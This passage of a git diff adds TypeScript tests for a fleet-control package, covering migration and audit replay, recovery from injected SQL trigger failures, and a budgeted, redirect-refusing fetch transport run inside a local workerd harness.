+            observedCreationDate: bucket.creation_date,
+          },
+        ],
+        priorCleanup: {
+          operationId: receipt.operationId,
+          observedReceiptSha256: null,
+          matchesBefore: false,
+        },
+      });
+      expect(fixture.world.mutationLog).toEqual(mutations);
+      bucket.creation_date = originalCreationDate;
+      const requests = fixture.projection.requests.length;
+      await fixture.reload();
+      expect(await fixture.success({ kind: 'force-observe' })).toEqual(
+        observed,
+      );
+      expect(fixture.projection.requests).toHaveLength(requests);
+    } finally {
+      await fixture.close();
+    }
+  });
+});
diff --git a/packages/fleet-control/test/direct-reference-r4.harness.test.ts b/packages/fleet-control/test/direct-reference-r4.harness.test.ts
new file mode 100644
index 00000000..62844869
--- /dev/null
+++ b/packages/fleet-control/test/direct-reference-r4.harness.test.ts
@@ -0,0 +1,539 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  afterAll,
+  afterEach,
+  beforeAll,
+  beforeEach,
+  describe,
+  expect,
+  it,
+} from 'vitest';
+import { directDeploymentSpec } from '../scripts/direct-credentialed-spec.js';
+import type {
+  DirectAuditSlot,
+  DirectInventorySlot,
+} from '../scripts/direct-reference-contract.mjs';
+import type { FleetAuditAdvanceResult } from '../src/fleet-audit-advance.js';
+import type { FleetInventoryAdvanceResult } from '../src/fleet-inventory-advance.js';
+import type { FleetMigrationAdvanceResult } from '../src/fleet-migration-advance.js';
+import type { FleetMigrationItem } from '../src/fleet-migration-state.js';
+import { fleetSettlementKey } from '../src/settlement.js';
+import { deploymentSpecDigest } from '../src/spec-digest.js';
+import {
+  createDirectReferenceHarness,
+  type DirectReferenceHarness,
+} from './fixtures/direct-reference-harness.js';
+
+async function inventory(
+  fixture: DirectReferenceHarness,
+  slot: DirectInventorySlot,
+) {
+  let result = await fixture.success<FleetInventoryAdvanceResult>({
+    kind: 'inventory-start',
+    slot,
+  });
+  for (let count = 0; result.status === 'pending' && count < 100; count++)
+    result = await fixture.success<FleetInventoryAdvanceResult>({
+      kind: 'inventory-continue',
+      slot,
+      token: result.token,
+    });
+  if (result.status !== 'complete')
+    throw new Error('inventory exceeded the fixture invocation bound');
+  return result;
+}
+
+async function retrySettlementAfterWriteFailure(
+  fixture: DirectReferenceHarness,
+  token: FleetMigrationAdvanceResult['token'],
+) {
+  const stored = await fixture.journal().readOperation('migration-next');
+  await fixture.db.exec(
+    'CREATE TABLE fixture_settlement_attempts (id INTEGER PRIMARY KEY)',
+  );
+  await fixture.db.exec(
+    "CREATE TRIGGER observe_settlement BEFORE INSERT ON direct_reference_observations WHEN NEW.observation_kind='settlement' BEGIN INSERT INTO fixture_settlement_attempts(id) VALUES(NULL); END",
+  );
+  await fixture.db.exec(
+    "CREATE TRIGGER refuse_settled_record BEFORE UPDATE ON anchorage_fleet_deployments WHEN NEW.settled_settlement_key IS NOT NULL AND NEW.schema_version=2 BEGIN SELECT RAISE(ABORT,'fixture settling write failure'); END",
+  );
+  await fixture.db.exec(
+    "CREATE TRIGGER refuse_failure_record BEFORE UPDATE ON anchorage_fleet_operations WHEN NEW.operation_kind='migration' AND json_extract(NEW.op_record,'$.state')='failed' BEGIN SELECT RAISE(ABORT,'fixture operation failure write'); END",
+  );
+  try {
+    const failed = await fixture.call({ kind: 'migration-continue', token });
+    expect(failed.response.status).toBe(500);
+    expect(await fixture.journal().readOperation('migration-next')).toEqual(
+      stored,
+    );
+  } finally {
+    await fixture.db.exec('DROP TRIGGER refuse_settled_record');
+    await fixture.db.exec('DROP TRIGGER refuse_failure_record');
+  }
+  try {
+    const row = await fixture.db
+      .prepare(
+        "SELECT observation_key FROM direct_reference_observations WHERE observation_kind='settlement'",
+      )
+      .first<{ observation_key: string }>();
+    if (!row)
+      throw new Error('settlement effect did not precede the failed write');
+    const first = await fixture.journal().readSettlement(row.observation_key);
+    expect(first).toBeDefined();
+    const result = await fixture.success<FleetMigrationAdvanceResult>({
+      kind: 'migration-continue',
+      token,
+    });
+    expect(result.token.revision).toBeGreaterThan(token.revision);
+    expect(await fixture.journal().readSettlement(row.observation_key)).toEqual(
+      first,
+    );
+    expect(
+      (
+        await fixture.db
+          .prepare('SELECT id FROM fixture_settlement_attempts')
+          .all()
+      ).results,
+    ).toHaveLength(2);
+    return result;
+  } finally {
+    await fixture.db.exec('DROP TRIGGER observe_settlement');
+    await fixture.db.exec('DROP TABLE fixture_settlement_attempts');
+  }
+}
+
+describe.sequential('reference audit and migration in native control state', {
+  timeout: 180_000,
+}, () => {
+  let fixture: DirectReferenceHarness;
+  beforeAll(async () => {
+    fixture = await createDirectReferenceHarness({ maintenanceNow: Date.now });
+  }, 60_000);
+  afterAll(async () => {
+    await fixture?.close();
+  }, 30_000);
+
+  async function audit(slot: DirectAuditSlot) {
+    let result = await fixture.success<FleetAuditAdvanceResult>({
+      kind: 'audit-start',
+      slot,
+    });
+    for (let count = 0; result.status === 'pending' && count < 150; count++)
+      result = await fixture.success<FleetAuditAdvanceResult>({
+        kind: 'audit-continue',
+        slot,
+        token: result.token,
+      });
+    expect(result.status).toBe('complete');
+    const page = await fixture.success<{ findings: unknown[]; done: boolean }>({
+      kind: 'audit-page',
+      slot,
+      limit: 1,
+    });
+    expect(page).toEqual({ findings: [], done: true });
+    return result;
+  }
+
+  async function items() {
+    return fixture.success<{ items: FleetMigrationItem[]; done: boolean }>({
+      kind: 'migration-page',
+      limit: 2,
+    });
+  }
+
+  it('retains audits and replays the original claim after one actual migration admission', async () => {
+    const premature = await fixture.call({
+      kind: 'audit-start',
+      slot: 'audit-before',
+    });
+    expect(premature.response.status).toBe(409);
+    expect(
+      await fixture.journal().readOperation('audit-before'),
+    ).toBeUndefined();
+    for (const role of ['a', 'b'] as const)
+      expect(
+        await fixture.success({ kind: 'provision', role, release: 'initial' }),
+      ).toMatchObject({ status: 'ready' });
+    const before = await inventory(fixture, 'inventory-before');
+    const beforeAudit = await audit('audit-before');
+    const frozen = await fixture.journal().readOperation('audit-before');
+    expect(
+      JSON.parse(frozen?.inputJson ?? '{}').records.map(
+        (record: { tenantTag: string }) => record.tenantTag,
+      ),
+    ).toEqual([
+      fixture.manifest.names.roles.a.tenantTag,
+      fixture.manifest.names.roles.b.tenantTag,
+    ]);
+    expect(JSON.parse(frozen?.inputJson ?? '{}').generation).toBe(
+      before.generation.generation,
+    );
+    const started = await fixture.success<FleetMigrationAdvanceResult>({
+      kind: 'migration-start',
+    });
+    expect(started).toMatchObject({
+      status: 'pending',
+      token: { revision: 1 },
+      itemOrdinal: 0,
+    });
+    expect(
+      (await items()).items.map((item) => [
+        item.ordinal,
+        item.status,
+        item.canaryRank,
+      ]),
+    ).toEqual([
+      [0, 'pending', 0],
+      [1, 'pending', undefined],
+    ]);
+    const uploadCounts = [...fixture.world.scripts.values()].map(
+      (script) => script.versions.length,
+    );
+    const loss = await fixture.call({
+      kind: 'migration-continue',
+      token: started.token,
+    });
+    expect(loss.response.status).toBe(503);
+    expect(loss.value).toMatchObject({
+      ok: false,
+      error: { code: 'injected-response-loss' },
+    });
+    const originalInstance = loss.response.headers.get('X-Fixture-Instance');
+    expect(
+      [...fixture.world.scripts.values()].map(
+        (script) => script.versions.length,
+      ),
+    ).toEqual(uploadCounts);
+    const admitted = (await items()).items;
+    expect(admitted[0]).toMatchObject({
+      status: 'active',
+      planCursor: 0,
+      ordinal: 0,
+    });
+    expect(admitted[1]).toMatchObject({ status: 'pending' });
+    for (const database of fixture.world.databases)
+      expect(
+        database.d1.queryDatabase(
+          'SELECT marker FROM direct_conformance_fixture WHERE id=1',
+        ),
+      ).toEqual([{ marker: 'initial' }]);
+    const control = await fixture.success<{ interruption: string }>({
+      kind: 'control-read',
+    });
+    const witness = JSON.parse(control.interruption) as {
+      claimJson: string;
+      returnedTokenJson: string;
+      item: unknown;
+    };
+    expect(JSON.parse(witness.claimJson)).toEqual(started.token);
+    expect(witness.item).toMatchObject({
+      ordinal: 0,
+      beforeStatus: 'pending',
+      afterStatus: 'active',
+      planCursor: 0,
+    });
+    await fixture.reload();
+    const reloaded = await fixture.call({ kind: 'control-read' });
+    expect(reloaded.response.headers.get('X-Fixture-Instance')).not.toBe(
+      originalInstance,
+    );
+    expect(reloaded.value.result).toMatchObject({
+      interruption: control.interruption,
+    });
+    const replay = await fixture.call({
+      kind: 'migration-continue',
+      token: JSON.parse(witness.claimJson),
+    });
+    expect(replay.response.status).toBe(200);
+    expect(replay.response.headers.get('X-Direct-Provider-Attempts')).toBe('0');
+    expect(replay.response.headers.get('X-Direct-Maintenance-Attempts')).toBe(
+      '0',
+    );
+    expect(replay.value.result).toMatchObject({
+      status: 'pending',
+      token: JSON.parse(witness.returnedTokenJson),
+      itemOrdinal: 0,
+      planCursor: 0,
+    });
+    expect((await items()).items).toEqual(admitted);
+    let progress = replay.value.result as FleetMigrationAdvanceResult;
+    let settlementRetried = false;
+    for (let count = 0; progress.status === 'pending' && count < 100; count++) {
+      const first = (await items()).items[0];
+      if (
+        !settlementRetried &&
+        first?.planCursor !== undefined &&
+        first.plan?.[first.planCursor]?.step === 'settle-ready'
+      ) {
+        progress = await retrySettlementAfterWriteFailure(
+          fixture,
+          progress.token,
+        );
+        settlementRetried = true;
+      } else {
+        progress = await fixture.success<FleetMigrationAdvanceResult>({
+          kind: 'migration-continue',
+          token: progress.token,
+        });
+      }
+      const current = (await items()).items;
+      if (current[1]?.status !== 'pending')
+        expect(current[0]?.status).toBe('complete');
+    }
+    expect(progress.status).toBe('complete');
+    expect(settlementRetried).toBe(true);
+    expect(
+      (
+        await fixture.success<{ interruption: string }>({
+          kind: 'control-read',
+        })
+      ).interruption,
+    ).toBe(control.interruption);
+    for (const role of ['a', 'b'] as const) {
+      const record = await fixture.fleetStore.get(
+        fixture.manifest.names.roles[role].tenantTag,
+        fixture.manifest.environment,
+      );
+      const target = directDeploymentSpec(
+        fixture.manifest,
+        role,
+        'next',
+        fixture.secrets[role],
+        fixture.binding,
+      );
+      expect(record).toMatchObject({
+        phase: 'ready',
+        schemaVersion: 2,
+        desiredSpecDigest: deploymentSpecDigest(target),
+      });
+      if (!record) throw new Error('migrated fixture record is missing');
+      const key = fleetSettlementKey({
+        tenantTag: record.tenantTag,
+        environment: record.environment,
+        specDigest: record.desiredSpecDigest,
+        artifactVersion: record.artifactVersion,
+      });
+      expect(record.settledSettlementKey).toBe(key);
+      expect(await fixture.journal().readSettlement(key)).toBeDefined();
+      const database = fixture.world.databases.find(
+        (database) => database.databaseId === record.databaseId,
+      );
+      expect(
+        database?.d1.queryDatabase(
+          'SELECT marker,release FROM direct_conformance_fixture WHERE id=1',
+        ),
+      ).toEqual([{ marker: 'next', release: 'next' }]);
+    }
+    const effects = await fixture.db
+      .prepare(
+        "SELECT observation_key FROM direct_reference_observations WHERE run_key=? AND observation_kind='settlement'",
+      )
+      .bind(fixture.manifest.resourcePrefix)
+      .all();
+    expect(effects.results).toHaveLength(2);
+    const after = await inventory(fixture, 'inventory-after');
+    expect(after.generation.generation).toBeGreaterThan(
+      before.generation.generation,
+    );
+    await audit('audit-after');
+    expect(
+      await fixture.success({ kind: 'audit-start', slot: 'audit-before' }),
+    ).toEqual(beforeAudit);
+    expect(await fixture.journal().readOperation('audit-before')).toEqual(
+      frozen,
+    );
+    expect(
+      await fixture.success({
+        kind: 'inventory-read',
+        slot: 'inventory-before',
+      }),
+    ).toMatchObject({
+      operationId: before.generation.operationId,
+      generation: before.generation.generation,
+    });
+    const firstPage = await fixture.success<{
+      items: FleetMigrationItem[];
+      done: boolean;
+    }>({ kind: 'migration-page', limit: 1 });
+    expect(firstPage.items.map((item) => item.ordinal)).toEqual([0]);
+    expect(firstPage.done).toBe(false);
+    const secondPage = await fixture.success<{
+      items: FleetMigrationItem[];
+      done: boolean;
+    }>({ kind: 'migration-page', limit: 1, afterOrdinal: 0 });
+    expect(secondPage.items.map((item) => item.ordinal)).toEqual([1]);
+    expect(secondPage.done).toBe(true);
+    expect(
+      await fixture.success({
+        kind: 'migration-page',
+        limit: 1,
+        afterOrdinal: 1,
+      }),
+    ).toEqual({ items: [], done: true });
+  });
+});
+
+describe.sequential('reference operation failure recovery', {
+  timeout: 180_000,
+}, () => {
+  let fixture: DirectReferenceHarness;
+  beforeEach(async () => {
+    fixture = await createDirectReferenceHarness({ maintenanceNow: Date.now });
+    for (const role of ['a', 'b'] as const)
+      await fixture.success({ kind: 'provision', role, release: 'initial' });
+  }, 60_000);
+  afterEach(async () => {
+    await fixture?.close();
+  }, 30_000);
+
+  it('retains the returned admission token when the interruption write fails and abandons running operations', async () => {
+    const selected = await inventory(fixture, 'inventory-before');
+    const audit = await fixture.success<FleetAuditAdvanceResult>({
+      kind: 'audit-start',
+      slot: 'audit-before',
+    });
+    expect(audit.status).toBe('pending');
+    const auditStart = await fixture.journal().readOperation('audit-before');
+    expect(
+      await fixture.success({ kind: 'audit-abandon', slot: 'audit-before' }),
+    ).toEqual({ operationId: audit.token.operationId });
+    expect(await fixture.journal().readOperation('audit-before')).toEqual(
+      auditStart,
+    );
+    const abandonedAudit = await fixture.success<FleetAuditAdvanceResult>({
+      kind: 'audit-start',
+      slot: 'audit-before',
+    });
+    expect(abandonedAudit).toMatchObject({
+      status: 'failed',
+      failure: { reason: 'operator-abandoned' },
+    });
+    expect(abandonedAudit.token.operationId).toBe(audit.token.operationId);
+    expect(
+      await fixture.success({
+        kind: 'inventory-read',
+        slot: 'inventory-before',
+      }),
+    ).toMatchObject({ generation: selected.generation.generation });
+
+    const started = await fixture.success<FleetMigrationAdvanceResult>({
+      kind: 'migration-start',
+    });
+    await fixture.db.exec(
+      "CREATE TRIGGER refuse_interruption BEFORE UPDATE OF interruption_json ON direct_reference_run WHEN NEW.interruption_json IS NOT NULL BEGIN SELECT RAISE(ABORT,'fixture interruption write'); END",
+    );
+    try {
+      const failed = await fixture.call({
+        kind: 'migration-continue',
+        token: started.token,
+      });
+      expect(failed.response.status).toBe(500);
+    } finally {
+      await fixture.db.exec('DROP TRIGGER refuse_interruption');
+    }
+    const retained = await fixture.journal().readOperation('migration-next');
+    expect(retained?.tokenRevision).toBeGreaterThan(started.token.revision);
+    expect(await fixture.journal().readInterruption()).toBeNull();
+    const replay = await fixture.call({
+      kind: 'migration-continue',
+      token: started.token,
+    });
+    expect(replay.response.status).toBe(200);
+    expect(replay.response.headers.get('X-Direct-Provider-Attempts')).toBe('0');
+    expect(replay.response.headers.get('X-Direct-Maintenance-Attempts')).toBe(
+      '0',
+    );
+    expect(replay.value.result).toMatchObject({
+      status: 'pending',
+      planCursor: 0,
+      token: JSON.parse(retained?.tokenJson ?? '{}'),
+    });
+    expect(await fixture.journal().readInterruption()).toBeNull();
+    expect(await fixture.success({ kind: 'migration-abandon' })).toEqual({
+      operationId: started.token.operationId,
+    });
+    expect(await fixture.journal().readOperation('migration-next')).toEqual(
+      retained,
+    );
+    const abandoned = await fixture.success<FleetMigrationAdvanceResult>({
+      kind: 'migration-start',
+    });
+    expect(abandoned).toMatchObject({
+      status: 'failed',
+      failure: { reason: 'operator-abandoned' },
+    });
+    expect(abandoned.token.operationId).toBe(started.token.operationId);
+    expect(
+      (
+        await fixture.success<{ items: FleetMigrationItem[] }>({
+          kind: 'migration-page',
+          limit: 2,
+        })
+      ).items.map(({ status }) => status),
+    ).toEqual(['failed', 'pending']);
+  });
+
+  it('recovers the actual failed operation after a migration throws without a returned token', async () => {
+    const started = await fixture.success<FleetMigrationAdvanceResult>({
+      kind: 'migration-start',
+    });
+    const admission = await fixture.call({
+      kind: 'migration-continue',
+      token: started.token,
+    });
+    expect(admission.response.status).toBe(503);
+    const row = await fixture.fleetStore.get(
+      fixture.manifest.names.roles.a.tenantTag,
+      fixture.manifest.environment,
+    );
+    const database = fixture.world.databases.find(
+      ({ databaseId }) => databaseId === row?.databaseId,
+    );
+    if (!database) throw new Error('canary database is missing');
+    database.d1.queryDatabase('DROP TABLE direct_conformance_fixture');
+    let hint = await fixture.journal().readOperation('migration-next');
+    let failed = false;
+    for (let count = 0; count < 100; count++) {
+      const response = await fixture.call({ kind: 'migration-continue' });
+      if (response.response.status === 500) {
+        expect(await fixture.journal().readOperation('migration-next')).toEqual(
+          hint,
+        );
+        failed = true;
+        break;
+      }
+      expect(response.response.status).toBe(200);
+      expect(response.value.result).toMatchObject({ status: 'pending' });
+      hint = await fixture.journal().readOperation('migration-next');
+    }
+    expect(failed).toBe(true);
+    expect(fixture.sqlFailures).toContain(
+      'no such table: direct_conformance_fixture',
+    );
+    const recovered = await fixture.call({ kind: 'migration-start' });
+    expect(recovered.response.status).toBe(200);
+    expect(recovered.response.headers.get('X-Direct-Provider-Attempts')).toBe(
+      '0',
+    );
+    expect(
+      recovered.response.headers.get('X-Direct-Maintenance-Attempts'),
+    ).toBe('0');
+    expect(recovered.value.result).toMatchObject({
+      status: 'failed',
+      failure: { reason: 'item-failed' },
+      token: { operationId: started.token.operationId },
+    });
+    const stored = await fixture.journal().readOperation('migration-next');
+    expect(stored?.inputJson).toBe(hint?.inputJson);
+    expect(stored?.tokenRevision).toBeGreaterThan(hint?.tokenRevision ?? 0);
+    expect(
+      (
+        await fixture.success<{ items: FleetMigrationItem[] }>({
+          kind: 'migration-page',
+          limit: 2,
+        })
+      ).items.map(({ status }) => status),
+    ).toEqual(['failed', 'pending']);
+  });
+});
diff --git a/packages/fleet-control/test/direct-reference-transport.test.ts b/packages/fleet-control/test/direct-reference-transport.test.ts
new file mode 100644
index 00000000..c0e30d60
--- /dev/null
+++ b/packages/fleet-control/test/direct-reference-transport.test.ts
@@ -0,0 +1,635 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { mkdtemp, rm, writeFile } from 'node:fs/promises';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import Cloudflare from 'cloudflare';
+import { afterAll, beforeAll, describe, expect, it, vi } from 'vitest';
+import { createTestHarness, type TestHarness } from 'wrangler';
+import {
+  directDeploymentSpec,
+  generateDirectDeploymentSecrets,
+} from '../scripts/direct-credentialed-spec.js';
+import { DIRECT_REFERENCE_PATH } from '../scripts/direct-reference-contract.mjs';
+import { handleDirectReferenceHttpRequest } from '../scripts/direct-reference-http.js';
+import {
+  DIRECT_REFERENCE_LEASE,
+  DirectReferenceTransport,
+  type DirectReferenceTransportOptions,
+} from '../scripts/direct-reference-transport.js';
+import { probeDirectTenant } from '../scripts/direct-reference-worker.js';
+import { deploymentSpecDigest } from '../src/spec-digest.js';
+import type { FleetRecord } from '../src/types.js';
+import {
+  DIRECT_FIXTURE_PROVIDER,
+  directFixtureManifest,
+} from './fixtures/direct-credentialed-config.js';
+
+const runtime = {
+  requestTimeoutMs: 1000,
+  invocationTimeoutMs: 5000,
+  maxProviderRequests: 9,
+};
+
+function fixture(overrides: Partial<DirectReferenceTransportOptions> = {}) {
+  const nativeFetch = vi.fn<typeof fetch>(async () => new Response('fixture'));
+  const abort = new AbortController();
+  const transport = new DirectReferenceTransport({
+    runtime,
+    startedAt: performance.now(),
+    signal: abort.signal,
+    fetch: nativeFetch,
+    ...overrides,
+  });
+  return { transport, nativeFetch, abort };
+}
+
+describe('direct reference transport', () => {
+  it('shares concurrent provider, maintenance and application attempts', async () => {
+    const { transport, nativeFetch } = fixture();
+    await Promise.all(
+      Array.from({ length: 9 }, (_, i) =>
+        (i % 3 === 0
+          ? transport.providerFetch
+          : i % 3 === 1
+            ? transport.maintenanceFetch
+            : transport.applicationFetch)('https://fixture.test'),
+      ),
+    );
+    expect(nativeFetch).toHaveBeenCalledTimes(9);
+    expect(transport.snapshot()).toMatchObject({
+      providerAttempts: 3,
+      maintenanceAttempts: 3,
+      applicationAttempts: 3,
+      failure: null,
+    });
+    expect(() => transport.assertWithinBudget()).not.toThrow();
+    await expect(
+      transport.maintenanceFetch('https://fixture.test'),
+    ).rejects.toMatchObject({ code: 'budget-exhausted' });
+    await expect(
+      transport.providerFetch('https://fixture.test'),
+    ).rejects.toMatchObject({ code: 'budget-exhausted' });
+    await expect(
+      transport.applicationFetch('https://fixture.test'),
+    ).rejects.toMatchObject({ code: 'budget-exhausted' });
+    expect(nativeFetch).toHaveBeenCalledTimes(9);
+    expect(transport.snapshot().failure).toBe('attempts');
+    expect(() => transport.assertWithinBudget()).toThrow('budget-exhausted');
+  });
+
+  it('counts actual Cloudflare SDK retries separately', async () => {
+    const { transport, nativeFetch } = fixture();
+    nativeFetch.mockImplementation(async () =>
+      nativeFetch.mock.calls.length < 3
+        ? Response.json(
+            {
+              success: false,
+              errors: [{ code: 1000, message: 'fixture retry' }],
+            },
+            { status: 429, headers: { 'retry-after-ms': '1' } },
+          )
+        : Response.json({
+            success: true,
+            errors: [],
+            result: { subdomain: 'fixture' },
+          }),
+    );
+    const sdk = new Cloudflare({
+      apiToken: 'inert-test-token',
+      baseURL: 'https://api.cloudflare.com/client/v4',
+      fetch: transport.providerFetch,
+      maxRetries: 2,
+      logLevel: 'off',
+    });
+    expect(
+      await sdk.workers.subdomains.get({ account_id: 'account' }),
+    ).toMatchObject({ subdomain: 'fixture' });
+    expect(nativeFetch).toHaveBeenCalledTimes(3);
+    expect(transport.snapshot()).toMatchObject({
+      providerAttempts: 3,
+      maintenanceAttempts: 0,
+      failure: null,
+    });
+  });
+
+  it('does not charge the SDK local FormData probe as HTTP', async () => {
+    const { transport, nativeFetch } = fixture();
+    await transport.providerFetch('data:,');
+    expect(nativeFetch).toHaveBeenCalledTimes(1);
+    expect(transport.snapshot()).toMatchObject({
+      providerAttempts: 0,
+      maintenanceAttempts: 0,
+      failure: null,
+    });
+    await expect(
+      transport.providerFetch('file:///fixture'),
+    ).rejects.toMatchObject({ code: 'operation-refused' });
+    expect(nativeFetch).toHaveBeenCalledTimes(1);
+  });
+
+  it('preserves request inputs and rejects implicit redirects', async () => {
+    const { transport, nativeFetch } = fixture();
+    nativeFetch.mockImplementation(async (input, init) => {
+      const normalized = new Request(input, init);
+      expect(normalized.method).toBe('POST');
+      expect(normalized.headers.get('authorization')).toBe(
+        'Bearer fixture-token',
+      );
+      expect(normalized.redirect).toBe('manual');
+      expect(await normalized.text()).toBe('fixture-body');
+      return new Response('done');
+    });
+    await transport.providerFetch(
+      new Request('https://fixture.test', {
+        method: 'POST',
+        headers: { authorization: 'Bearer fixture-token' },
+        body: 'fixture-body',
+        redirect: 'follow',
+      }),
+    );
+    expect(transport.snapshot().providerAttempts).toBe(1);
+  });
+
+  it('checks elapsed time before delegation even when no timer has fired', async () => {
+    const now = vi.spyOn(performance, 'now').mockReturnValue(0);
+    try {
+      const { transport, nativeFetch } = fixture({ startedAt: 0 });
+      now.mockReturnValue(5000);
+      await expect(
+        transport.providerFetch('https://fixture.test'),
+      ).rejects.toMatchObject({ code: 'budget-exhausted' });
+      expect(nativeFetch).not.toHaveBeenCalled();
+      expect(transport.snapshot().failure).toBe('deadline');
+    } finally {
+      now.mockRestore();
+    }
+  });
+
+  it.each([
+    301, 302, 303, 307, 308,
+  ])('refuses redirect status %s without another delegation', async (status) => {
+    const { transport, nativeFetch } = fixture();
+    const canceled = vi.fn(() => new Promise<void>(() => {}));
+    nativeFetch.mockImplementation(
+      async () =>
+        new Response(new ReadableStream({ cancel: canceled }), {
+          status,
+          headers: { location: 'https://unvisited.example.test' },
+        }),
+    );
+    await expect(
+      transport.providerFetch('https://fixture.test'),
+    ).rejects.toMatchObject({ code: 'operation-refused' });
+    expect(nativeFetch).toHaveBeenCalledTimes(1);
+    expect(canceled).toHaveBeenCalledTimes(1);
+  });
+
+  it('preserves a nonredirect 304 response', async () => {
+    const { transport, nativeFetch } = fixture();
+    nativeFetch.mockResolvedValue(new Response(null, { status: 304 }));
+    expect((await transport.providerFetch('https://fixture.test')).status).toBe(
+      304,
+    );
+  });
+
+  it('rechecks time after preparing the native request signal', async () => {
+    const now = vi.spyOn(performance, 'now').mockReturnValue(0);
+    const nativeTimeout = AbortSignal.timeout.bind(AbortSignal);
+    const timeout = vi
+      .spyOn(AbortSignal, 'timeout')
+      .mockImplementation((ms) => {
+        now.mockReturnValue(5000);
+        return nativeTimeout(ms);
+      });
+    try {
+      const { transport, nativeFetch } = fixture({ startedAt: 0 });
+      await expect(
+        transport.providerFetch('https://fixture.test'),
+      ).rejects.toMatchObject({ code: 'budget-exhausted' });
+      expect(nativeFetch).not.toHaveBeenCalled();
+    } finally {
+      timeout.mockRestore();
+      now.mockRestore();
+    }
+  });
+
+  it('keeps operator ceilings below the real lease TTL', () => {
+    const { transport } = fixture({
+      runtime: {
+        requestTimeoutMs: 2_147_483_647,
+        invocationTimeoutMs: 2_147_483_647,
+        maxProviderRequests: 9,
+      },
+    });
+    expect(transport.effectiveRequestTimeoutMs).toBe(
+      DIRECT_REFERENCE_LEASE.leaseTtlMs - 1,
+    );
+    expect(DIRECT_REFERENCE_LEASE.leaseRenewalIntervalMs).toBeLessThan(
+      DIRECT_REFERENCE_LEASE.leaseTtlMs,
+    );
+    expect(
+      fixture({ runtime: { ...runtime, invocationTimeoutMs: 30 } }).transport
+        .effectiveRequestTimeoutMs,
+    ).toBe(30);
+  });
+
+  it('retains per-request timeout through response body reads', async () => {
+    const { transport, nativeFetch } = fixture({
+      runtime: { ...runtime, requestTimeoutMs: 25 },
+    });
+    nativeFetch.mockImplementation(
+      async (_input, init) =>
+        new Response(
+          new ReadableStream({
+            start(controller) {
+              init?.signal?.addEventListener(
+                'abort',
+                () => controller.error(new Error('body-aborted')),
+                { once: true },
+              );
+            },
+          }),
+        ),
+    );
+    const response = await transport.maintenanceFetch('https://fixture.test');
+    await expect(response.text()).rejects.toThrow('body-aborted');
+    expect(transport.snapshot()).toMatchObject({
+      maintenanceAttempts: 1,
+      failure: null,
+    });
+  });
+
+  it('propagates the original request signal', async () => {
+    const { transport, nativeFetch } = fixture();
+    const controller = new AbortController();
+    nativeFetch.mockImplementation(
+      async (_input, init) =>
+        new Response(
+          new ReadableStream({
+            start(body) {
+              init?.signal?.addEventListener(
+                'abort',
+                () => body.error(new Error('original-abort')),
+                { once: true },
+              );
+            },
+          }),
+        ),
+    );
+    const response = await transport.providerFetch('https://fixture.test', {
+      signal: controller.signal,
+    });
+    controller.abort();
+    await expect(response.text()).rejects.toThrow('original-abort');
+    expect(transport.snapshot().failure).toBeNull();
+  });
+
+  it('aborts active fetches and refuses more on invocation cancellation', async () => {
+    const { transport, nativeFetch, abort } = fixture();
+    nativeFetch.mockImplementation(
+      async (_input, init) =>
+        new Promise((_resolve, reject) => {
+          init?.signal?.addEventListener(
+            'abort',
+            () => reject(new Error('invocation-aborted')),
+            { once: true },
+          );
+        }),
+    );
+    const pending = transport.providerFetch('https://fixture.test');
+    abort.abort();
+    await expect(pending).rejects.toThrow('invocation-aborted');
+    await expect(
+      transport.maintenanceFetch('https://fixture.test'),
+    ).rejects.toMatchObject({ code: 'budget-exhausted' });
+    expect(nativeFetch).toHaveBeenCalledTimes(1);
+    expect(transport.snapshot().failure).toBe('aborted');
+  });
+
+  it('keeps attempt exhaustion sticky after a caught transport error', async () => {
+    let retained = false;
+    const nativeFetch = vi.fn<typeof fetch>(
+      async () => new Response('fixture'),
+    );
+    const body = JSON.stringify({
+      contractVersion: 1,
+      configSha256: 'a'.repeat(64),
+      action: { kind: 'control-read' },
+    });
+    const response = await handleDirectReferenceHttpRequest(
+      new Request(`https://fixture.test${DIRECT_REFERENCE_PATH}`, {
+        method: 'POST',
+        headers: { authorization: 'Bearer test' },
+        body,
+      }),
+      {
+        invokeSecret: 'test',
+        configSha256: 'a'.repeat(64),
+        invocationTimeoutMs: 5000,
+        dispatch: async (_action, signal) => {
+          const transport = new DirectReferenceTransport({
+            runtime,
+            startedAt: performance.now(),
+            signal,
+            fetch: nativeFetch,
+          });
+          for (let i = 0; i < 10; i++)
+            await transport
+              .providerFetch('https://fixture.test')
+              .catch(() => undefined);
+          retained = true;
+          transport.assertWithinBudget();
+          return { status: 'complete' };
+        },
+      },
+    );
+    expect(retained).toBe(true);
+    expect(nativeFetch).toHaveBeenCalledTimes(9);
+    expect(response.status).toBe(503);
+    expect(await response.json()).toMatchObject({
+      ok: false,
+      error: { code: 'budget-exhausted' },
+    });
+  });
+});
+
+describe('direct reference transport inside workerd', () => {
+  let directory: string;
+  let server: TestHarness;
+  beforeAll(async () => {
+    directory = await mkdtemp(join(tmpdir(), 'direct-transport-'));
+    const main = join(directory, 'worker.ts');
+    await writeFile(
+      main,
+      `import {DirectReferenceTransport} from ${JSON.stringify(fileURLToPath(new URL('../scripts/direct-reference-transport.ts', import.meta.url)))};
+    export default {async fetch(request){
+      const mode=new URL(request.url).searchParams.get('mode');let calls=0,aborted=false;
+      const transport=new DirectReferenceTransport({runtime:{requestTimeoutMs:25,invocationTimeoutMs:5000,maxProviderRequests:9},startedAt:performance.now(),signal:request.signal,fetch:async(_input,init)=>{
+        const normalized=new Request(_input,init);
+        if(normalized.redirect!=='manual')throw new Error('unexpected redirect mode');
+        calls++;
+        return mode==='body'?new Response(new ReadableStream({start(c){init.signal.addEventListener('abort',()=>{aborted=true;c.error(new Error('fixture-abort'));},{once:true});}})):new Response('fixture');
+      }});
+      if(mode==='body'){const response=await transport.maintenanceFetch('https://fixture.test');await response.text().catch(()=>{});}
+      else{await transport.providerFetch('data:,');for(let i=0;i<10;i++)await (i%2?transport.maintenanceFetch:transport.providerFetch)('https://fixture.test').catch(()=>{});}
+      return Response.json({calls,aborted,metrics:transport.snapshot()});
+    }};`,
+    );
+    server = createTestHarness({
+      root: directory,
+      workers: [
+        {
+          config: {
+            name: 'direct-transport-harness',
+            main,
+            compatibility_date: '2026-08-06',
+            compatibility_flags: ['nodejs_compat'],
+          },
+        },
+      ],
+    });
+    await server.listen();
+  }, 30_000);
+  afterAll(async () => {
+    try {
+      await server?.close();
+    } finally {
